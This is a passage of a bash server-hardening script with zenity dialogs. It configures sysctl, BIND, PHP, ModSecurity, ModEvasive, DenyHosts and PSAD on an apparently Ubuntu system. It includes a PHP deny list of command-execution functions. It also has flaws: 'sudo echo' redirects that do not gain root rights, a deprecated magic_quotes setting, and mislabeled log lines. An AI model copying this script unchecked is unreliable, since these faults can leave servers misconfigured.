                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv4.conf.all.log_martians/#net.ipv4.conf.all.log_martians/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
           echo "# Write new sysctl configuration settings"             
           echo "$LogTime uss: [$UserName] Write new sysctl configuration settings" >> $LogFile            
           sudo echo "# $TFCName Script Entry - sysctl settings $LogTime" >> /etc/sysctl.conf
           sudo echo "net.ipv4.conf.default.rp_filter = 1" >> /etc/sysctl.conf
           sudo echo "net.ipv4.conf.all.rp_filter = 1" >> /etc/sysctl.conf
           sudo echo "net.ipv4.icmp_echo_ignore_broadcasts = 1" >> /etc/sysctl.conf
           sudo echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf
           sudo echo "net.ipv4.conf.all.accept_source_route = 0" >> /etc/sysctl.conf
           sudo echo "net.ipv6.conf.all.accept_source_route = 0" >> /etc/sysctl.conf
           sudo echo "net.ipv4.conf.default.accept_source_route = 0" >> /etc/sysctl.conf
           sudo echo "net.ipv6.conf.default.accept_source_route = 0" >> /etc/sysctl.conf
           sudo echo "net.ipv4.conf.all.log_martians = 1" >> /etc/sysctl.conf
           echo "# sysctl settings update complete"
              echo "$LogTime uss: [$UserName] sysctl settings update complete" >> $LogFile            

           zenity --question --title "Network hardening - $TFCName $TFCVersion" --text "Would you like restart sysctl with the new settings now?"
           if [ "$?" -eq "0" ]
             then
                # reload sysctl
                sudo sysctl -p
                echo "# sysctl settings reloaded"
                echo "$LogTime uss: [$UserName] sysctl settings reloaded" >> $LogFile            
           fi 
         fi    
    echo "30" ; sleep 0.1
    # 6. Disable Open DNS Recursion - BIND DNS Server
       option=$(echo $selection | grep -c "DNS")
       if [ "$option" -eq "1" ] 
         then
            echo "# 6. Disable Open DNS Recursion - BIND DNS Server"
            echo "$LogTime uss: [$UserName] 6. Disable Open DNS Recursion - BIND DNS Server" >> $LogFile
            # Make sure DNS recursion entry does not exist
            echo "# Check if DNS recursion option exists"
            echo "$LogTime uss: [$UserName] Check if DNS recursion option exists" >> $LogFile           
            dnsRecur=$(grep -c "recursion" /etc/bind/named.conf.options )
            if [ ! "$dnsRecur" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# DNS recursion entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] DNS recursion entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/recursion/#recursion/g' /etc/bind/named.conf.options > /tmp/.named_config
                 sudo mv /etc/bind/named.conf.options /etc/bind/_named.conf.options.backup
                 sudo mv /tmp/.named_config /etc/bind/named.conf.options
            fi
            # add DNS recursion option setting
            echo "# Add DNS recursion option setting"
            echo "$LogTime uss: [$UserName] Add DNS recursion option setting" >> $LogFile         
            sudo sed 's/options[[:space:]]{/options { recursion no; # $TFCName Script /g' /etc/bind/named.conf.options > /tmp/.named_config
            sudo mv /etc/bind/named.conf.options /etc/bind/_named.conf.options.backup
            sudo mv /tmp/.named_config /etc/bind/named.conf.options       
            echo "# Restart bind9 DNS server"
               echo "$LogTime uss: [$UserName] Restart bind9 DNS server" >> $LogFile          
               sudo /etc/init.d/bind9 restart
            echo "# DNS server restarted"
               echo "$LogTime uss: [$UserName] DNS server restarted" >> $LogFile                   
         fi 
    echo "35" ; sleep 0.1
    # 7. Prevent IP Spoofing
       option=$(echo $selection | grep -c "Spoofing")
       if [ "$option" -eq "1" ] 
         then
            echo "# 7. Prevent IP Spoofing"
            echo "$LogTime uss: [$UserName] 7. Prevent IP Spoofing" >> $LogFile
            # Make sure IP Spoofing entry does not exist
            echo "# Check if IP Spoofing option exists"
            echo "$LogTime uss: [$UserName] Check if IP Spoofing option exists" >> $LogFile           
            ipSpoof=$(grep -c "nospoof" /etc/host.conf )
            if [ ! "$ipSpoof" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# nospoof entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] nospoof entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/nospoof/#nospoof/g' /etc/host.conf > /tmp/.host_config
                 sudo mv /etc/host.conf /etc/host.conf.backup
                 sudo mv /tmp/.host_config /etc/host.conf
            fi
            # Make sure order entry does not exist
            echo "# Check if order entry exists"
            echo "$LogTime uss: [$UserName] Check if order option exists" >> $LogFile           
            orderOp=$(grep -c "order" /etc/host.conf )
            if [ ! "$orderOp" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# order entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] order entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/order/#order/g' /etc/host.conf > /tmp/.host_config
                 sudo mv /etc/host.conf /etc/host.conf.backup
                 sudo mv /tmp/.host_config /etc/host.conf
            fi
            # add new order and nospoof option settings
            echo "# Write new host configuration settings"             
            echo "$LogTime uss: [$UserName] Write new host configuration settings" >> $LogFile         
            sudo echo "# $TFCName Script Entry - IP nospoof settings $LogTime" >> /etc/host.conf
            sudo echo "order bind,hosts" >> /etc/host.conf
            sudo echo "nospoof on" >> /etc/host.conf
            echo "# host configuration settings update complete"
            echo "$LogTime uss: [$UserName] host configuration settings update complete" >> $LogFile  
               echo "# Restart bind9 DNS server"
               echo "$LogTime uss: [$UserName] Restart bind9 DNS server" >> $LogFile          
               sudo /etc/init.d/bind9 restart
            echo "# DNS server restarted"
               echo "$LogTime uss: [$UserName] DNS server restarted" >> $LogFile                  
         fi 
    echo "40" ; sleep 0.1
    # 8. Harden PHP for security
       option=$(echo $selection | grep -c "PHP")
       if [ "$option" -eq "1" ] 
         then
            echo "# 8. Harden PHP for security"
            echo "$LogTime uss: [$UserName] 8. Harden PHP for security" >> $LogFile
            # Make sure disable_functions entry does not exist
            echo "# Check if disable_functions option exists"
            echo "$LogTime uss: [$UserName] Check if disable_functions option exists" >> $LogFile           
            disPhp=$(grep -c "disable_functions" /etc/php5/apache2/php.ini )
            if [ ! "$disPhp" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# disable_functions entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] disable_functions entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/disable_functions/;disable_functions/g' /etc/php5/apache2/php.ini > /tmp/.php_config
                 sudo mv /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini.backup
                 sudo mv /tmp/.php_config /etc/php5/apache2/php.ini
            fi
            # Make sure register_globals entry does not exist
            echo "# Check if register_globals entry exists"
            echo "$LogTime uss: [$UserName] Check if register_globals option exists" >> $LogFile           
            gloPhp=$(grep -c "register_globals" /etc/php5/apache2/php.ini )
            if [ ! "$gloPhp" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# register_globals entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] register_globals entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/register_globals/;register_globals/g' /etc/php5/apache2/php.ini > /tmp/.php_config
                 sudo mv /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini.backup
                 sudo mv /tmp/.php_config /etc/php5/apache2/php.ini
            fi
            # Make sure expose_php entry does not exist
            echo "# Check if register_globals entry exists"
            echo "$LogTime uss: [$UserName] Check if register_globals option exists" >> $LogFile           
            expPhp=$(grep -c "expose_php" /etc/php5/apache2/php.ini )
            if [ ! "$expPhp" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# expose_php entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] expose_php entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/expose_php/;expose_php/g' /etc/php5/apache2/php.ini > /tmp/.php_config
                 sudo mv /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini.backup
                 sudo mv /tmp/.php_config /etc/php5/apache2/php.ini
            fi
            # Make sure magic_quotes_gpc entry does not exist
            echo "# Check if magic_quotes_gpc entry exists"
            echo "$LogTime uss: [$UserName] Check if magic_quotes_gpc option exists" >> $LogFile           
            expPhp=$(grep -c "magic_quotes_gpc" /etc/php5/apache2/php.ini )
            if [ ! "$expPhp" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# magic_quotes_gpc entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] magic_quotes_gpc entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/magic_quotes_gpc/;magic_quotes_gpc/g' /etc/php5/apache2/php.ini > /tmp/.php_config
                 sudo mv /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini.backup
                 sudo mv /tmp/.php_config /etc/php5/apache2/php.ini
            fi
            # add new PHP configuration option settings
            echo "# Write new PHP configuration settings"             
            echo "$LogTime uss: [$UserName] Write new PHP configuration settings" >> $LogFile         
            sudo echo "; $TFCName Script Entry - PHP security settings settings $LogTime" >> /etc/php5/apache2/php.ini
            sudo echo "disable_functions = exec,system,shell_exec,passthru" >> /etc/php5/apache2/php.ini
            sudo echo "register_globals = Off" >> /etc/php5/apache2/php.ini
            sudo echo "expose_php = Off" >> /etc/php5/apache2/php.ini
            sudo echo "magic_quotes_gpc = On" >> /etc/php5/apache2/php.ini            
            echo "# PHP configuration settings update complete"
            echo "$LogTime uss: [$UserName] PHP configuration settings update complete" >> $LogFile  
            # Ask to restart Apache2
            zenity --question --title "PHP Security - $TFCName $TFCVersion" --text "Would you like restart Apache2 with the new settings now?"
            if [ "$?" -eq "0" ]
             then
                # restart apache2 
                echo "# Restart Apache2 server"
                   echo "$LogTime uss: [$UserName] Restart Apache2 server" >> $LogFile          
                sudo /etc/init.d/apache2 restart
                echo "# Apache2 restarted"
                echo "$LogTime uss: [$UserName] Apache2 restarted" >> $LogFile            
            fi             
         fi
    echo "45" ; sleep 0.1
    # 9. Install ModSecurity
       option=$(echo $selection | grep -c "ModSecurity")
       if [ "$option" -eq "1" ] 
         then
            echo "# 9. Install ModSecurity"
            echo "$LogTime uss: [$UserName] 9. Install ModSecurity" >> $LogFile
            # install dependencies
            echo "# Install dependencies libxml2 libxml2-dev libxml2-utils elinks" 
            echo "$LogTime uss: [$UserName] Install dependencies libxml2 libxml2-dev libxml2-utils" >> $LogFile
            sudo apt-get install -y libxml2 libxml2-dev libxml2-utils 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing libxml2 libxml2-dev libxml2-utils" --auto-close
            echo "# Install dependencies libaprutil1 libaprutil1-dev"
            echo "$LogTime uss: [$UserName] Install dependencies libaprutil1 libaprutil1-dev" >> $LogFile
            sudo apt-get -y install libaprutil1 libaprutil1-dev 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing libaprutil1 libaprutil1-dev" --auto-close
            echo "# create symbolic link for 64bit users to libxml2.so.2"
            echo "$LogTime uss: [$UserName] create symbolic link for 64bit users to libxml2.so.2" >> $LogFile
            ln -s /usr/lib/x86_64-linux-gnu/libxml2.so.2 /usr/lib/libxml2.so.2
            # Install ModSecurity
            echo "# Install Apache ModSecurity"
            echo "$LogTime uss: [$UserName] Install Apache ModSecurity" >> $LogFile
            sudo apt-get install -y libapache-mod-security 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing libaprutil1 libaprutil1-dev" --auto-close
            # Activate default configuration file
            echo "# Activate Apache ModSecurity recommended rules"
            echo "$LogTime uss: [$UserName] Activate Apache Mod Security" >> $LogFile
            sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
            # Edit modsecurity.conf and change the SecRequestBody Limits as the default 128KB is too low
            RecLimit=$(zenity --entry --text "Select the page request body limit (SecRequestBodyLimit)? Default is 128KB and is very low. Value in bytes:" --title "ModSecurity Configuration - $TFCName $TFCVersion" --entry-text "131072")
            echo "# Updating ModSecurity settings"
            echo "$LogTime uss: [$UserName] Updating ModSecurity settings" >> $LogFile 
            # Check if SecRequestBodyLimit entry exists comment out old entries
            echo "$LogTime uss: [$UserName] Check if SecRequestBodyLimit entry exists comment out old entries" >> $LogFile 
            modsecSecReq=$(grep -c "SecRequestBodyLimit" /etc/modsecurity/modsecurity.conf)
            if [ ! "$modsecSecReq" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original
                 sudo sed 's/SecRequestBodyLimit/#SecRequestBodyLimit/g' /etc/modsecurity/modsecurity.conf > /tmp/.modsec_config
                 sudo mv /etc/modsecurity/modsecurity.conf /etc/modsecurity/modsecurity.conf.backup
                 sudo mv /tmp/.modsec_config /etc/modsecurity/modsecurity.conf
            fi
            # Check if SecRequestBodyInMemoryLimit entry exists comment out old entries
            echo "$LogTime uss: [$UserName] Check if SecRequestBodyInMemoryLimit entry exists comment out old entries" >> $LogFile            
            modsecSecReqMem=$(grep -c "SecRequestBodyInMemoryLimit" /etc/modsecurity/modsecurity.conf)
            if [ ! "$modsecSecReqMem" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original
                 sudo sed 's/SecRequestBodyInMemoryLimit/#SecRequestBodyInMemoryLimit/g' /etc/modsecurity/modsecurity.conf > /tmp/.modsec_config
                 sudo mv /etc/modsecurity/modsecurity.conf /etc/modsecurity/modsecurity.conf.backup
                 sudo mv /tmp/.modsec_config /etc/modsecurity/modsecurity.conf
            fi  
            echo "# Write new ModSecurity configuration settings"             
            echo "$LogTime uss: [$UserName] Write new ModSecurity configuration settings" >> $LogFile            
            sudo echo "# $TFCName Script Entry - ModSecurity settings $LogTime" >> /etc/modsecurity/modsecurity.conf
            sudo echo "SecRequestBodyLimit $RecLimit" >> /etc/modsecurity/modsecurity.conf
            sudo echo "SecRequestBodyInMemoryLimit $RecLimit" >> /etc/modsecurity/modsecurity.conf
            echo "# ModSecurity settings update complete"
               echo "$LogTime uss: [$UserName] ModSecurity settings update complete" >> $LogFile         
            # Download latest OWASP Core Rule Set
            echo "# Download latest OWASP Core Rule Set"
            echo "$LogTime uss: [$UserName] Download latest OWASP Core Rule Set for SourceForge" >> $LogFile
            sourceforgeUrl="<a href="http://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/">http://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CUR...</a>"
            modesecurityFilePattern="modsecurity-crs_2.*"
            # Read sourceforge webpage with elinks and find the latest version filename
            crsFilename=$(elinks $sourceforgeUrl | grep -o -w --max-count=1 "$modesecurityFilePattern.tar.gz")
                # Create a tmp install folder            
            sudo mkdir /tmp/modsecurity-crs
            cd /tmp/modsecurity-crs
            # Download the latest crs from sourceforge
            echo "# Downloading Core Rule Set: $crsFilename from SourceForge"
            echo "$LogTime uss: [$UserName] Downloading Core Rule Set: $crsFilename from SourceForge" >> $LogFile
            # Download and show progress and download speed with zenity
            sudo wget $sourceforgeUrl$crsFilename 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Downloading $crsFilename" --auto-close
            # UnTar and install crs rules
            sudo tar -zxvf $crsFilename
            sudo cp -R $modesecurityFilePattern/* /etc/modsecurity/
            # Delete tmp install folder
            cd /tmp
            sudo rm -R /tmp/modsecurity-crs
            # Activate the default crs ruleset
            sudo mv /etc/modsecurity/modsecurity_crs_10_config.conf.example  /etc/modsecurity/modsecurity_crs_10_config.conf
            # Enable ModSecurity in Apache2
            sudo a2enmod mod-security
            echo "# Apache2 ModSecurity installation complete"
               echo "$LogTime uss: [$UserName] Apache2 ModSecurity installation complete" >> $LogFile
            # Ask to restart Apache2
            zenity --question --title "Apache2 ModSecurity - $TFCName $TFCVersion" --text "Would you like restart Apache2 with ModSecurity?"
            if [ "$?" -eq "0" ]
             then
                # restart apache2 
                echo "# Restart Apache2 with ModSecurity"
                   echo "$LogTime uss: [$UserName] Restart Apache2 with ModSecurity" >> $LogFile          
                sudo /etc/init.d/apache2 restart
                echo "# Apache2 restarted"
                echo "$LogTime uss: [$UserName] Apache2 restarted with ModSecurity" >> $LogFile       
                # Output the Apache2 error.log file entries for ModSecurity to check status after install in zenity info box
                sudo grep "ModSecurity" /var/log/apache2/error.log | zenity --title "Apache2 ModSecurity Status - $TFCName $TFCVersion" --text-info --width 800 --height 400           
            fi
         fi
    echo "50" ; sleep 0.1
    # 10. Protect from DDOS (Denial of Service) attacks - ModEvasive
       option=$(echo $selection | grep -c "ModEvasive")
       if [ "$option" -eq "1" ] 
         then
            echo "# 10. Protect from DDOS (Denial of Service) attacks - ModEvasive"
            echo "$LogTime uss: [$UserName] 10. Protect from DDOS (Denial of Service) attacks - ModEvasive" >> $LogFile
            # Install ModEvasive
            echo "# Install Apache ModEvasive"
            echo "$LogTime uss: [$UserName] Install Apache ModEvasive" >> $LogFile
            sudo apt-get install -y libapache2-mod-evasive 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing libapache2-mod-evasive" --auto-close
            # Create log file for ModEvasive
            sudo mkdir /var/log/mod_evasive
            # Change the log folder permissions
            sudo chown www-data:www-data /var/log/mod_evasive/
            # Enter Email address to receive notifications from ModEvasive
            echo "# Enter Email address to receive notifications from ModEvasive"
               echo "$LogTime uss: [$UserName] Enter Email address to receive notifications from ModEvasive" >> $LogFile     
            modEvaEmail=$(zenity --entry --text "Enter the email for ModEvasive notifications" --title "Apache2 ModEvasive - $TFCName $TFCVersion" --entry-text "<a href="mailto:email@domain.com">email@domain.com</a>")
            # Check for previous ModEvasive configuration file
            if [ -f /etc/apache2/mods-available/mod-evasive.conf ]
             then
                echo "# Backup previous ModEvasive configuration file"
                   echo "$LogTime uss: [$UserName] # Backup previous ModEvasive configuration file" >> $LogFile    
                sudo mv /etc/apache2/mods-available/mod-evasive.conf /etc/apache2/mods-available/mod-evasive.conf.backup
            fi
            # Writing New Configuration file for ModEvasive
            echo "# Writing New Configuration file for ModEvasive"
               echo "$LogTime uss: [$UserName] Writing New Configuration file for ModEvasive" >> $LogFile
               # Create Config file
            sudo echo "# $TFCName Script Entry - Apache2 ModEvasive Configuration $LogTime" > /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "<ifmodule mod_evasive20.c>" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSHashTableSize 3097" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSPageCount  2" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSSiteCount  50" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSPageInterval 1" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSSiteInterval  1" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSBlockingPeriod  10" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSLogDir   /var/log/mod_evasive" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSEmailNotify  $modEvaEmail" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "   DOSWhitelist   127.0.0.1" >> /etc/apache2/mods-available/mod-evasive.conf
            sudo echo "</ifmodule>" >> /etc/apache2/mods-available/mod-evasive.conf
            # Enable ModEvasive in Apache2
            sudo a2enmod mod-evasive
            echo "# Apache2 ModEvasive installation complete"
               echo "$LogTime uss: [$UserName] Apache2 ModEvasive installation complete" >> $LogFile
            # Ask to restart Apache2
            zenity --question --title "Apache2 ModEvasive - $TFCName $TFCVersion" --text "Would you like restart Apache2 with ModEvasive?"
            if [ "$?" -eq "0" ]
             then
                # restart apache2 
                echo "# Restart Apache2 with ModSecurity"
                   echo "$LogTime uss: [$UserName] Restart Apache2 with ModEvasive" >> $LogFile          
                sudo /etc/init.d/apache2 restart
                echo "# Apache2 restarted"
                echo "$LogTime uss: [$UserName] Apache2 restarted with ModEvasive" >> $LogFile       
            fi
         fi
    echo "55" ; sleep 0.1
    # 11. Scan logs and ban suspicious hosts - DenyHosts
       option=$(echo $selection | grep -c "DenyHosts")
       if [ "$option" -eq "1" ] 
         then
            echo "# 11. Scan logs and ban suspicious hosts - DenyHosts"
            echo "$LogTime uss: [$UserName] 11. Scan logs and ban suspicious hosts - DenyHosts" >> $LogFile
            echo "# Check if Denyhosts is installed..."
            echo "$LogTime uss: [$UserName] Check if Denyhosts is installed..." >> $LogFile
            if [ -f /usr/sbin/denyhosts ]
              then
                 # RKHunter already installed
                 echo "# Denyhosts is already installed"
                 echo "$LogTime uss: [$UserName] Denyhosts is already installed" >> $LogFile
            fi
            if [ ! -f /usr/sbin/denyhosts ]
              then
                 # Install DenyHosts
                 echo "# Install DenyHosts"
                 echo "$LogTime uss: [$UserName] Install DenyHosts" >> $LogFile
                 sudo apt-get install -y denyhosts 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing DenyHosts" --auto-close
           fi           
            # Enter Email address to receive notifications from DenyHosts
            echo "# Enter Email address to receive notifications from DenyHosts"
               echo "$LogTime uss: [$UserName] Enter Email address to receive notifications from DenyHosts" >> $LogFile     
            denyhostEmail=$(zenity --entry --text "Enter the email for DenyHosts notifications" --title "DenyHosts - $TFCName $TFCVersion" --entry-text "<a href="mailto:root@localhost">root@localhost</a>")
            denyhostFrom=$(zenity --entry --text "Enter the email from field for DenyHosts notifications" --title "DenyHosts - $TFCName $TFCVersion" --entry-text "DenyHosts <nobody@localhost>")
            # Make sure ADMIN_EMAIL entry does not exist
            echo "# Check if ADMIN_EMAIL option exists"
            echo "$LogTime uss: [$UserName] Check if ADMIN_EMAIL option exists" >> $LogFile           
            adminEmail=$(grep -c "ADMIN_EMAIL" /etc/denyhosts.conf )
            if [ ! "$adminEmail" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# ADMIN_EMAIL entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] ADMIN_EMAIL entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/ADMIN_EMAIL/#ADMIN_EMAIL/g' /etc/denyhosts.conf > /tmp/.denyhosts_config
                 sudo mv /etc/denyhosts.conf /etc/denyhosts.conf.backup
                 sudo mv /tmp/.denyhosts_config /etc/denyhosts.conf
            fi
            # Make sure order entry does not exist
            echo "# Check if SMTP_FROM entry exists"
            echo "$LogTime uss: [$UserName] Check if SMTP_FROM option exists" >> $LogFile           
            smtpFrom=$(grep -c "SMTP_FROM" /etc/denyhosts.conf )
            if [ ! "$smtpFrom" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# SMTP_FROM entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] SMTP_FROM entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/SMTP_FROM/#SMTP_FROM/g' /etc/denyhosts.conf > /tmp/.denyhosts_config
                 sudo mv /etc/denyhosts.conf /etc/denyhosts.conf.backup
                 sudo mv /tmp/.denyhosts_config /etc/denyhosts.conf
            fi
            # write new DenyHosts settings
            echo "# Write new DenyHosts configuration settings"             
            echo "$LogTime uss: [$UserName] Write new DenyHosts configuration settings" >> $LogFile         
            sudo echo "# $TFCName Script Entry - DenyHosts settings $LogTime" >> /etc/denyhosts.conf
            sudo echo "ADMIN_EMAIL = $denyhostEmail" >> /etc/denyhosts.conf
            sudo echo "SMTP_FROM = $denyhostFrom" >> /etc/denyhosts.conf            

            echo "# DenyHosts configuration settings update complete"
            echo "$LogTime uss: [$UserName] DenyHosts configuration settings update complete" >> $LogFile  
               echo "# Restart DenyHosts service"
               echo "$LogTime uss: [$UserName] Restart DenyHosts service" >> $LogFile          
               sudo /etc/init.d/denyhosts restart
            echo "# DenyHosts service restarted"
               echo "$LogTime uss: [$UserName] DenyHosts service restarted" >> $LogFile                  
         fi 
    echo "60" ; sleep 0.1
    # 12. Intrusion Detection - PSAD
       option=$(echo $selection | grep -c "PSAD")
       if [ "$option" -eq "1" ] 
         then
            echo "# 12. Intrusion Detection - PSAD"
            echo "$LogTime uss: [$UserName] 12. Intrusion Detection - PSAD" >> $LogFile
            echo "# Check if PSAD is installed..."
            echo "$LogTime uss: [$UserName] Check if PSAD is installed..." >> $LogFile
            if [ -f /usr/sbin/psad ]
              then
                 # PSAD already installed
                 echo "# PSAD is already installed"
                 echo "$LogTime uss: [$UserName] PSAD is already installed" >> $LogFile
            fi
            if [ ! -f /usr/sbin/psad ]
              then
                 # Install PSAD
                 echo "# Install PSAD"
                 echo "$LogTime uss: [$UserName] Install PSAD" >> $LogFile
                 sudo apt-get install -y psad 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing PSAD" --auto-close
           fi           
            # Enter Email address to receive notifications from PSAD
            echo "# Enter Email address to receive notifications from PSAD"
               echo "$LogTime uss: [$UserName] Enter Email address to receive notifications from PSAD" >> $LogFile     
            psadEmail=$(zenity --entry --text "Enter the email for PSAD notifications" --title "PSAD - $TFCName $TFCVersion" --entry-text "<a href="mailto:root@localhost">root@localhost</a>")

            # Make sure EMAIL_ADDRESSES entry does not exist
            echo "# Check if EMAIL_ADDRESSES option exists"
            echo "$LogTime uss: [$UserName] Check if EMAIL_ADDRESSES option exists" >> $LogFile           
            psadAdminEmail=$(grep -c "EMAIL_ADDRESSES" /etc/psad/psad.conf )
            if [ ! "$psadAdminEmail" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# EMAIL_ADDRESSES entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] EMAIL_ADDRESSES entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/EMAIL_ADDRESSES/#EMAIL_ADDRESSES/g' /etc/psad/psad.conf > /tmp/.psad_config
                 sudo mv /etc/psad/psad.conf /etc/psad/psad.conf.backup
                 sudo mv /tmp/.psad_config /etc/psad/psad.conf
            fi
            # Make sure ENABLE_AUTO_IDS entry does not exist
            echo "# Check if ENABLE_AUTO_IDS entry exists"
            echo "$LogTime uss: [$UserName] Check if ENABLE_AUTO_IDS option exists" >> $LogFile           
            psadIdsEmail=$(grep -c "ENABLE_AUTO_IDS_EMAILS" /etc/psad/psad.conf )
            if [ ! "$psadIdsEmail" -eq "0" ] 
              then
                 # if entry exists use sed to search and replace - write to tmp file - move to original 
                 echo "# ENABLE_AUTO_IDS entry exists. Commenting out old entries"
                 echo "$LogTime uss: [$UserName] ENABLE_AUTO_IDS entry exists. Commenting out old entries" >> $LogFile            
                 sudo sed 's/ENABLE_AUTO_IDS_EMAILS/#ENABLE_AUTO_IDS_EMAILS/g' /etc/psad/psad.conf > /tmp/.psad_config
                 sudo mv /etc/psad/psad.conf /etc/psad/psad.conf.backup
                 sudo mv /tmp/.psad_config /etc/psad/psad.conf
            fi
            # write new PSAD settings
            echo "# Write new PSAD configuration settings"             
            echo "$LogTime uss: [$UserName] Write new PSAD configuration settings" >> $LogFile         
            sudo echo "# $TFCName Script Entry - DenyHosts settings $LogTime" >> /etc/psad/psad.conf
            sudo echo "EMAIL_ADDRESSES  $psadEmail;" >> /etc/psad/psad.conf
            sudo echo "ENABLE_AUTO_IDS_EMAILS Y;" >> /etc/psad/psad.conf
            echo "# PSAD configuration settings update complete"
            echo "$LogTime uss: [$UserName] PSAD configuration settings update complete" >> $LogFile  
            echo "# Update iptables to add log rules for PSAD"
               echo "$LogTime uss: [$UserName] Update iptables to add log rules for PSAD" >> $LogFile    
               sudo iptables -A INPUT -j LOG
            sudo iptables -A FORWARD -j LOG
            sudo ip6tables -A INPUT -j LOG
            sudo ip6tables -A FORWARD -j LOG    
               echo "# Update and Restart PSAD service"
               echo "$LogTime uss: [$UserName] Update and Restart PSAD service" >> $LogFile          
               sudo psad -R
            sudo psad --sig-update
            sudo psad -H
            echo "# PSAD service updated and restarted"
               echo "$LogTime uss: [$UserName] PSAD service updated restarted" >> $LogFile                  
         fi 
     echo "65" ; sleep 0.1
    # 13. Check for rootkits - RKHunter 
       option=$(echo $selection | grep -c "RKHunter")
       if [ "$option" -eq "1" ] 
         then
           echo "$LogTime uss: [$UserName] 13. Check for rootkits - RKHunter" >> $LogFile
           echo "# 13. Check for rootkits - RKHunter"
           echo "# Check if RKHunter is installed..."
           echo "$LogTime uss: [$UserName] Check if RKHunter is installed..." >> $LogFile
           if [ -f /usr/bin/rkhunter ]
             then
                # RKHunter already installed
                echo "# RKHunter is already installed"
                echo "$LogTime uss: [$UserName] RKHunter is already installed" >> $LogFile
           fi
           if [ ! -f /usr/bin/rkhunter ]
             then
                # Install RKHunter
                echo "# RKHunter NOT installed, installing..."
                echo "$LogTime uss: [$UserName] RKHunter NOT installed, installing..." >> $LogFile
                sudo apt-get install -y rkhunter 2>&1 | sed -u 's/.* \([0-9]\+%\)\ \+\([0-9.]\+.\) \(.*\)/\1\n# Downloading at \2\/s, ETA \3/' | zenity --progress --title="Downloading File..." --text="Installing RKHunter" --auto-close
          fi
          # Update RKHunter   
           echo "# Updating RKHunter"
